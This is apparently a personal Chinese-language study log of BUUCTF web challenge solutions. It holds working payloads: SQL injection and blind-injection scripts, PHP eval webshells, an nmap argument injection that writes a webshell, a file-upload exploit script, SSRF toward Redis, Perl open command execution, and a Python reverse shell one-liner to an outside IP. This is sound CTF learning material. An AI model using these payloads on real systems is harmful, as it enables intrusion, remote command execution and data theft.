目标是在这个寒假刷完buu30
记录一些在刷题过程中,发现的一些有趣的题目
(忘记哪题了)
select * from users where username=‘$_POST["username"]‘ and password=‘$_POST["password"]‘;
显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
如输入
username=admin\
password=or 1#
数据库查询语句事实上变成了这样:
select * from users where username=‘admin\‘ and password=‘or 1#‘;
(忘记哪题了)
<?php
include \'flag.php\';
$yds = "dog";
$is = "cat";
$handsome = \'yds\';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET[\'flag\'] === $x && $x !== \'flag\'){
exit($handsome);
}
}
if(!isset($_GET[\'flag\']) && !isset($_POST[\'flag\'])){
exit($yds);
}
if($_POST[\'flag\'] === \'flag\' || $_GET[\'flag\'] === \'flag\'){
exit($is);
}
echo "the flag is: ".$flag;
- ?yds=flag
- ?is=flag&flag=flag
(忘记哪题了)
<?php
$str = \'123abc\';
print(preg_replace(\'/(\S)(\S)/i\',\'strtolower("\\1")\',$str));
?>
=》 strtolower("1")strtolower("3")strtolower("b")
(忘记哪题了)
if((string)$_POST[\'param1\']!==(string)$_POST[\'param2\'] && md5($_POST[\'param1\'])===md5($_POST[\'param2\'])){
die("success!);}
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2
if($_POST[\'param1\']!==$_POST[\'param2\'] && md5($_POST[\'param1\'])===md5($_POST[\'param2\'])){
die("success!");
}
param1[]=QNKCDZO¶m2[]=240610708
[强网杯 2019]随便注
alter table words rename to word;
将words表重命名为word
alter table`1919810931114514` rename to words;
将1919810931114514表重命名为words
alter table words change flag data varchar(100);
将表words(原表1919810931114514)中的列名flag改为data
alter table words add column id int(10) default 1 --+
在words表中插入id列
预处理语句使用方式:
PREPARE name from \'[my sql sequece]\'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
预定义语句也可以通过变量进行传递:
SET @tn = \'hahaha\'; //存储表名
SET @sql = concat(\'select * from \', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
payload:
1\';PREPARE jwt from concat(char(115,101,108,101,99,116), \' * from `1919810931114514` \');EXECUTE jwt;#
1\';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
1\';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
[SUCTF 2019]EasySQL
1.尝试 `‘ ’‘ ) )) \') ") \')) ")),找不到字符型注入点
2.输入不等于0的数字返回 1 ;输入过滤了的字符返回 Nonono;输入其他字符空白无显示;
3.尝试堆叠注入,1;show tables;#时返回如下:
Array ( [0] => 1) Array ( [0] => Flag )
推测其执行语句为select GET[\'query\'] || flag from Flag
4.flag被过滤(还有好多都被过滤了哈)
5.重点来了
oracle 支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 不支持。 在mysql里,它只是个 或运算 的符号。或运算符前面是1,则结果为1;或运算符前面是0,则要看后面是1还是0,字符视为0.
但是我们可以通过设置 sql_mode=pipes_as_concat; 来使 || 用作拼接的作用
在这里我们可以传入 1;set sql_mode=pipes_as_concat;select *,1
其真正的执行语句是 select 1;set sql_mode=pipes_as_concat;select *,1 || flag from Flag
这样就可以把 1和flag仪器显示出来
[护网杯 2018]easy_tornado
Tornado框架的附属文件handler.settings中存在cookie_secret
[RoarCTF 2019]Easy Calc
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system(\'cat flag;\')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system(\'ls;\')
1.利用php字符串解析特性绕过WAF
2.var_dump(scandir(chr(47))),查看根目录 ( \ 的ascii为47)
发现 [7]=> string(5) "f1agg"
3.file_get_contents()读取文件? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[HCTF 2018]admin Flask session伪造
session是浏览器与服务器交互的会话,这个session可以来验证访问者的身份,大多数的session都是保存在服务器的,但是也有少部分是客户端session,比如flask框架。,flask是一个python轻量级web框架,他的session存储在客户端的cookie字段中
在该题就是要伪造session,欺骗服务器,假装自己就是admin
从题目给的hint https://github.com/woadsl1234/hctf_flask/(change password 页面查看源码)
伪造session,需要用来签名的SECRET_KEY,可以在config.py里找到为ckj123
这里首先要随便注册一个账号,得到session
session=.eJw9kE2LwjAURf_KkLWLNqMbwYUQLS28hEhqyNuI1jpp0jhDq_RD_O_TccDVXRzugXsf5HBpytaS5a25lzNyqM5k-SAfJ7IkoNAJdnYYcgph8yn0thJsb80oKTqYG5XVEDIvNPRCQQeuGECbSDBrRZJZSKae851gsscAFHU6iiTtuUsjrmHkbB2hKhYTH9DZGpzshKo9BjMIlVXA8sGETcwTmHMFMf_zOPTo1gsz-gUE6DnbUB7yFXnOSNE2l8Pt25fX9wROtzUG9CLZVSZIyp2PjN5ZUOkAQUaTdm4c1qinnLhQ-YBy9dJV4fhVvk37WNJT90-uxzABcv25tGRG7m3ZvG4jcUSevxidbLs.Xwb4GQ.icCsKPYayHjgXi1rCcbFCkrVJnI;
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
这里将name的值改为admin
登入后页面修改伪造的session得到flag
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,\'r\')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,\'r\')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
POST:welcome to the zjctf
ps:这里是file=useless.php而不是file=php://filter/convert.base64-encode/resource=useless.php
因为我们要include的是这个页面,不是它的Base64化的源码
php://filter/convert.base64-encode/resource=useless.php的作用是读取useless.php页面的源码(经过bae64)
[MRCTF2020]Ezpop
[网鼎杯 2020 青龙组]AreUSerialz
linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用
[BJDCTF2020]EasySearch
ssi注入
首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解
释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。
看到后缀为shtml,可考虑尝试
直接执行服务器上的各种程序<#exec>
[网鼎杯 2020 朱雀组]Nmap
知识点:
- Nmap的文件读写操作
- escapeshellarg() + escapeshellcmd()函数的使用
payload 1:
\' -iL /flag -oN flag.txt \'
-iL 从inputfilename文件中读取扫描的目标。
-oN 把扫描结果重定向到一个可读的文件logfilename中。
payload 2 (单引号逃逸 类似 [BUUCTF 2018]Online Tool):
PHP-escapeshell-命令执行
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 *\xFF*。 ’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
详细分析一下这个过程:
-
传入的参数是
127.0.0.1\' -v -d a=1 -
由于
escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:\'127.0.0.1\'\\'\' -v -d a=1\' -
经过
escapeshellcmd针对第二步处理之后的参数中的\以及a=1\'中的单引号进行处理转义之后的效果如下所示:\'127.0.0.1\'\\\'\' -v -d a=1\\' -
由于第三步处理之后的payload中的
\\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分
所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1\',即向127.0.0.1\发起请求,POST 数据为a=1\'。
因为过滤了php,可以用phtml绕过,里面的内容用短标签
host=\'<?=eval($_GET[a]);?> -oG flag.phtml \'
先进过escapeshellarg 函数
变为
\'\'\\'\' <?= @eval($_POST["hack"]);?> -oG flag.phtml\'\\'\'\'
1
再经过escapeshellcmd函数
变为
\'\'\\\'\' \<\?= @eval($_POST["hack"]);\?\> -oG flag.phtml\'\\\'\'\'
1
可以发现单引号已经全部闭合
可以看成
\\ <?= @eval($_POST["hack"]);?> -oG flag.phtml \\
[极客大挑战 2019]RCE ME
无字母数字绕过
<?php
error_reporting(0);
if(isset($_GET[\'code\'])){
$code=$_GET[\'code\'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
payload:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[a])
蚁剑链接 无权限读取readflag
bypass_disablefunc_via_LD_PRELOAD
将github中一下两个文件 上传有有权限的目录,在这里选择/tmp
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(\'/tmp/bypass_disablefunc.php\');&cmd=../../../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.so
[FBCTF2019]RCEService
preg_match正则最大回溯绕过+换行绕过
payload1:
import requests
url="xxxxxx"
payload = \'{"cmd":"/bin/cat /home/rceservice/flag","test":"\' + "a"*(1000000) + \'"}\'
res = requests.post(url, data={"cmd":payload})
print(res.text)
payload2:
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
这里cat的路径要写 /bin/cat是因为通过查看源代码:putenv(\'PATH=/home/rceservice/jail\');,可以发现jail应用于当前环境,cat不在当前配置的环境变量中,需要我们自行写完整路径
use-pcre-backtrack-limit-to-bypass-restrict
[GKCTF2020]EZ三剑客-EzWeb
SSRF 最基础的漏洞场景
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
这样的链接就是有可能存在ssrf的,因为服务器有可能是向本机发起请求来获取相应的图片
倘若没有对image参数进行任何的检测,就可以构造其他的请求
http://www.xxx.com/image.php?image=http://127.0.0.1:22
http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)
做题四步走:
- ./?secret
- 用http协议配合bp进行内网主机探测
- 端口扫描,发现6379端口(redis),redis未授权访问的漏洞(通过传gopher在根目录下自动生成个文件shell.php)
- gopherus制造shell
[Zer0pts2020]Can you guess it?
知识点: basename()函数的使用
With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.
该函数会去掉文件名开头的非ASCII值(%80 --- %ff)
题目的关键代码其实只有上半部分
<?php
include \'config.php\'; // FLAG is defined in config.php
if (preg_match(\'/config\.php\/*$/i\', $_SERVER[\'PHP_SELF\'])) {
exit("I don\'t know what you are thinking, but I won\'t let you read it :)");
}
if (isset($_GET[\'source\'])) {
highlight_file(basename($_SERVER[\'PHP_SELF\']));
exit();
}
根据题目提示,flag在config.php文件中,通过?source读取$_SERVER[\'PHP_SELF\']返回的是当前正在执行的脚本的名字basename("/path/home.php") -> home.php,如果是/index.php/config.php/,则$_SERVER[\'PHP_SELF\']返回/index.php/config.php/
即/index.php/config.php运行的是index.php,但是basename()获取到的是config.php,然后再通过?source读取
paylaod:
/index.php/config.php/%80?source
[HITCON 2017]SSRFme
完全考在了知识盲区,跟着wp复现了一遍
知识点:
- perl脚本中GET命令执行漏洞
- file 协议利用 open 命令执行
<?php
if (isset($_SERVER[\'HTTP_X_FORWARDED_FOR\'])) {
$http_x_headers = explode(\',\', $_SERVER[\'HTTP_X_FORWARDED_FOR\']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER[\'REMOTE_ADDR\'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的目录到$sandbox
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); // pathinfo() 函数以数组的形式返回文件路径的信息。
$dir = str_replace(".", "", basename($info["dirname"])); // basename() 函数返回路径中的文件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
// 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。
根据源码可以发现php会对传过去的参数用escapeshellarg函数过滤。先创建一个目录sandbox/md5(orange+ip),然后执行GIT $_GET[\'url\'],然后会创建文件夹,并将执行GIT $_GET[\'url\']后的结果放在该文件夹下面filename传过去的文件中。
如果GET后面跟路径的话,可以直接获取文件或目录内容
GET /etc/passwd
GET / 读取根目录
Perl语言的open函数
在Perl中可以用open或者sysopen函数来打开文件进行操作,这两个函数都需要通过一个文件句柄(即文件指针)来对文件进行读写定位等操作
1:读:open(文件句柄,"<文件名")/open(文件句柄,"文件名"),前提文件必须已经存在,否则会返回0,出错信息在$!中。
2:写:open(文件句柄,">文件名"),文件如果不存在,那么创建之,如果存在,内容被清空,长度截为0,$!中有出错信息。
root@npfs:~/test# cat a.pl
open(FD, "|id");
print <FD>;
root@iZ285ei82c1Z:~/test# perl a.pl
uid=0(root) gid=0(root) groups=0(root)
root@npfs:~/test# cat test.pl
open(FD, "whoami|");
print <FD>;
root@iZ285ei82c1Z:~/test# perl test.pl
moxiaoxi
当GET使用file协议的时候就会调用到perl的open函数
Perl saw that your “file” ended with a “pipe” (verticalbar) character. So it interpreted the “file” as a command to be executed, and interpreted the command’s output as the “file”\'s contents. The command is “who” (which prints information on currently logged-in users). If you execute that command, you will see that the output is exactly what the Perl program gave you.
翻译过来意思是:
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
perl脚本中GET命令执行漏洞:(前提是文档需要存在,若存在,才会触发最终的代码执行)
GET ’file:id|\'
touch \'id|\'
GET ’file:id|\'
uid=0(root) gid=0(root) groups=0(root)
在perl下,如果open的第二个参数(path)可控,我们就能进行任意代码执行。综合看起来像是一个把文件名拼接入命令导致的命令执行。
payload:
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=(任意)&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到aaa文件
访问sandbox/md5/aaa(得到flag)
其实如果对于这个open不理解的化=话还有更简单的做法,直接在自己的vps根目录下写一个木马文件
1.txt
<?php @eval($_POST[a]); ?>
将这个木马文件写入到自定义的123.php 中
http://ae1dea96-9018-4671-a599-2f80eeb7a409.node3.buuoj.cn/?url=http://xxx/1.txt&filename=123.php
蚁剑连接即可
[SUCTF 2019]EasyWeb
感觉挺复杂的一题
知识点:
1.无数字字母shell
2.利用.htaccess上传文件
3.绕过open_basedir
题目源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[\'REMOTE_ADDR\']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), \'<?\')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET[\'_\'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die(\'One inch long, one inch strong!\');
}
if ( preg_match(\'/[\x00- 0-9A-Za-z\\'"\`~_&.,|=[\x7F]+/i\', $hhh) )
die(\'Try something else!\');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
第一关
首先判断是否从GET方法获取 " _ " 参数的值
然后通过 strlen() 函数对GET方法对该值进行长度检测 , 如果字符串长度大于 18 就拦截信息
接下来通过 preg_match() 正则过滤该值中的敏感字符 , 这个正则表达式非常严谨 , 过滤了绝大部分的可写字符
最后通过 count_chars() 函数来限制该值中不同字符的个数
很明显需要我们通过eval调用get_the_flag函数,然后上传bypass文件,最后拿到shell拿到flag。
Payload : ${xxxx^xxxx}{x}();&x= ... , 转换后就变成了 $_GET[x]();&x= ...
放几个有用的脚本
//判断保留字
<?php
for ($i = 0; $i < 256; $i++) {
if (!preg_match(\'/[\x00- 0-9A-Za-z\\'"\`~_&.,|=[\x7F]+/i\', chr($i))) {
echo chr($i).\' \';
}
}
?>
//异或生成
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
payload1:
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
第二关
首先对文件后缀进行正则检查 , 如果文件后缀是以 " ph " 开头 , 则不通过检测 .
然后对文件内容进行检查 , 如果文件内容中出现 " <? " 这个部分 , 则不通过检测 .
最后通过 exif_imagetype() 函数对文件类型进行检查 , 如果文件不是一张图片 , 则不通过检测 .
PHP版本是 PHP 7.2 , 所以 这种写法已无法使用 . 要想绕过 " <? " 的检测 , 必须对文件内容进行编码(比如base64)再上传 .
找到一种能够同时满足 图片文件 . PHP文件 , .htaccess文件 的文件格式 . 要满足PHP文件和配置文件的格式 ,就需要添加文件的 " 不解析行 " 了( 比如注释行 )
X-Bitmap(XBM)是一种古老但通用的图像文件格式 , 它与现在的许多Web浏览器都兼容 . X-Windows图形界面(UNIX和Linux常用的GUI)的C代码库xlib中有一个组件专门描述了它的规范 .
XBM 文件头是通过两行 #define 定义的 , 而这种定义方式刚好在 php文件 和 .htaccess文件 中代表注释
.htaccess
#define width 1337
#define height 1337
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"
shell.aaa:
GIF89a12 #12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
#paylaod
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST[\'cmd\']);?>")
url = "http://be57968d-71f2-4a55-afda-5d2b4348fcc7.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {\'file\':(\'.htaccess\',htaccess,\'image/jpeg\')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {\'file\':(\'shell.aaa\',shell,\'image/jpeg\')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
第三关:
bypass open_basedir
chdir(\'img\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');echo(file_get_contents(\'flag\'));
[GYCTF2020] Ezsqli
知识点:
- bypass information_schema
- 无列名注入
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys 数据库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
sys数据库中的以下三个视图中存储了表名table_name:
- sys.schema_auto_increment_columns #存在自增主键的表会出现在此视图
- sys.schema_table_statistics_with_buffer #数据来源视图
- sys.x$schema_table_statistics_with_buffer #数据来源视图
import requests
import time
import string
url="http://334f9701-ac6e-4158-b91b-450d336d1ca1.node3.buuoj.cn/"
flag=""
\'\'\'
for i in range(1,50):#flag长度
print(i,":")
low=32
high=128
mid = (low+high)//2
while low<=high:
#print(mid)
#for j in range(32,128):#可见字符长度
#payload="0^(ascii(substr(select database()),{0},1))>{1})".format(i,mid)
#payload="0^(ascii(substr(select version()),{0},1))>{1})".format(i,mid)
#payload="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))>{1})".format(i,mid)
data={
"id":payload
}
t = requests.post(url,data=data)
#print(t.apparent_encoding)
t.encoding="Windows-1252"
print(t.text)
if("Nu1L" in t.text):
low=mid+1
mid = (low+high)//2
else:
high=mid-1
mid = (low+high)//2
flag+=chr(high+1)
print(flag)
time.sleep(2)
爆出表名为f1ag_1s_h3r3_hhhhh
盲猜列名为flag ,直接得到flag
2.无列名注入
在这里用到的是逐字符检索数据法
mysql> select (select 1,\'c\') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,\'c\') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+
mysql> select (select 1,\'d\') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,\'d\') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
//说明第二个字段的第一位是c,以此类推
paylaod:
import requests
import time
import string
url="http://334f9701-ac6e-4158-b91b-450d336d1ca1.node3.buuoj.cn/"
flag=""
for j in range(1,50):
print(j,":")
low = 32
high = 128
mid=(low+high)//2
while low <=high:
print(mid)
flag1=flag+chr(mid)
payload="0^((1,\'{0}\')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)
data={
"id":payload
}
t = requests.post(url,data=data)
t.encoding="Windows-1252"
#print(t.text)
if "Nu1L" in t.text:
high=mid-1
mid=(low+high)//2
else :
low = mid+1
mid=(low+high)//2
print(flag,chr(high))
flag+=chr(high)
time.sleep(2)
[V&N2020 公开赛]CHECKIN
知识点:
- 反弹shll
- /proc/[pid]/fd
1.反弹shell
http://c936c7ee-5778-4eab-afc5-1b1e3ce54106.node3.buuoj.cn/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'172.16.189.110\',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);"
- /proc/[pid]/fd
当程序打开一个文件, 会获得程序的文件描述符, 而此时如果文件被删除, 只会删除文件的目录项, 不会清空文件的内容, 原来的进程依然可以通过描述符对文件进行读取, 也就是说, 文件还存在内存里。
在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
[SWPUCTF 2018]SimplePHP
考察点:phar反序列化
<?php
class C1e4r{
public $test;
public $str;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params;
}
$c=new Test();
$c->params=array(\'source\'=>\'var/www/html/f1ag.php\');
$b=new Show();
$b->str[\'str\']=$c;
$a=new C1e4r();
$a->str=$b;
echo serialize($a);
@unlink("phar.phar");
$phar=new Phar("phar.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub(\'GIF89a\'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); //触发头
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
?>
[BJDCTF 2nd]文件探测
知识点:
- 文件包含
- SSRF
- session伪造
1.文件包含
home.php?file=php://filter/convert.base64-encode/resource=system
<?php
$filter1 = \'/^http:\/\/127\.0\.0\.1\//i\';
$filter2 = \'/.?f.?l.?a.?g.?/i\';
if (isset($_POST[\'q1\']) && isset($_POST[\'q2\']) && isset($_POST[\'q3\']) ) {
$url = $_POST[\'q2\'].".y1ng.txt";
$method = $_POST[\'q3\'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match(\'/^GET/i\', $method) && !preg_match(\'/^POST/i\', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
2.SSRF
- 根据上面代码,我们可以分析得到:
- q1 没有限制
- q2 要以 http://127.0.0.1开头,且后面会连接一个 y1ng.txt 然后可以被返回。
- q3 必须是GET或者POST 开头
- 基本上可以判定是ssrf了,有几个地方需要绕过一下:
- q2会被加上y1ng.txt 怎么才能让他的连接不起作用呢。
- sprintf将q2输出格式是%d 也就是输出不完整,我们需要%s 来输出。
去掉url拼接的.y1ng.txt
我们只需要将后面接一个不存在的get参数就可以绕过了。例如:http://127.0.0.1/xxxxxxxx.php?mayi=666y1ng.txt 他最后显示的页面还是http://127.0.0.1/xxxxxxxx.php 这样就可以成功绕过了。
同时还可以利用锚点
**http://127.0.0.1/xxxxxxxx.php#666y1ng.txt**
sprintf输出格式问题
sprintf("$url method&content_size:$method%d", $detect)我们可以知道 %d 前面还有一个可以控制的变量,也就是我们传入的q3。经过了解,我们知道在sprintf这里面 % 才是转义字符,我们可以传入POST%s%最后把%d给取消转义。达到绕过效果
还有一种方法 %1$s —— 这种办法原理是%1$s会将第一个参数用string类型输出,这道题中第一个参数便是admin.php的源码
payload:
q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
3.session伪造
<?php
error_reporting(0);
session_start();
$f1ag = ‘f1ag{s1mpl3_SSRF_@nd_spr1ntf}‘; //fake
function aesEn($data, $key)
{
$method = ‘AES-128-CBC‘;
$iv = md5($_SERVER[‘REMOTE_ADDR‘],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE[‘your_ip_address‘]) && $_COOKIE[‘your_ip_address‘] === md5($_SERVER[‘REMOTE_ADDR‘]) && $_COOKIE[‘y1ng‘] === sha1(md5(‘y1ng‘)))
return true;
else
return false;
}
if ( $_SERVER[‘REMOTE_ADDR‘] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size=‘10px‘ color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER[‘REMOTE_ADDR‘];
}
$_SESSION[‘user‘] = md5($_SERVER[‘REMOTE_ADDR‘]);
if (isset($_GET[‘decrypt‘])) {
$decr = $_GET[‘decrypt‘];
if (Check()){
$data = $_SESSION[‘secret‘];
include ‘flag_2sln2ndln2klnlksnf.php‘;
$cipher = aesEn($data, ‘y1ng‘);
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die(‘爬‘);
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION[‘secret‘] = bin2hex(random_bytes($length));
}
?>
通过分析代码发现有两个要求
X-Forwarded-For:127.0.0.1
$decr === $cipher
第一个要求很容易满足,我们看第二个,需要传入变量decrypt,使其强等于aesEn($data, ‘y1ng‘);的加密结果在该加密算法中存在的唯一变量是 $data ,而 $data = $_SESSION[‘secret‘];,我们看代码最后面,可以知道 $_SESSION[‘secret‘]; 是由伪随机数长度加密得到的。
但是假如我们另session 为空,那么自然而然就不存在 $_SESSION[‘secret‘]; ,这个时候aesEn加密得到的值就是固定的
<?php
function aesEn($data, $key)
{
$method = \'AES-128-CBC\';
$iv = md5(\'IP\',true); //这里的IP要填自己环境的IP
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn(\'\',\'y1ng\');
?>
传值即可
[HarekazeCTF2019]encode_and_encode
知识点
- JSON转义字符绕过
- php://filter
1.json转义字符绕过
\uXXXX可以在JSON中转义字符,例如A,\u0041等效
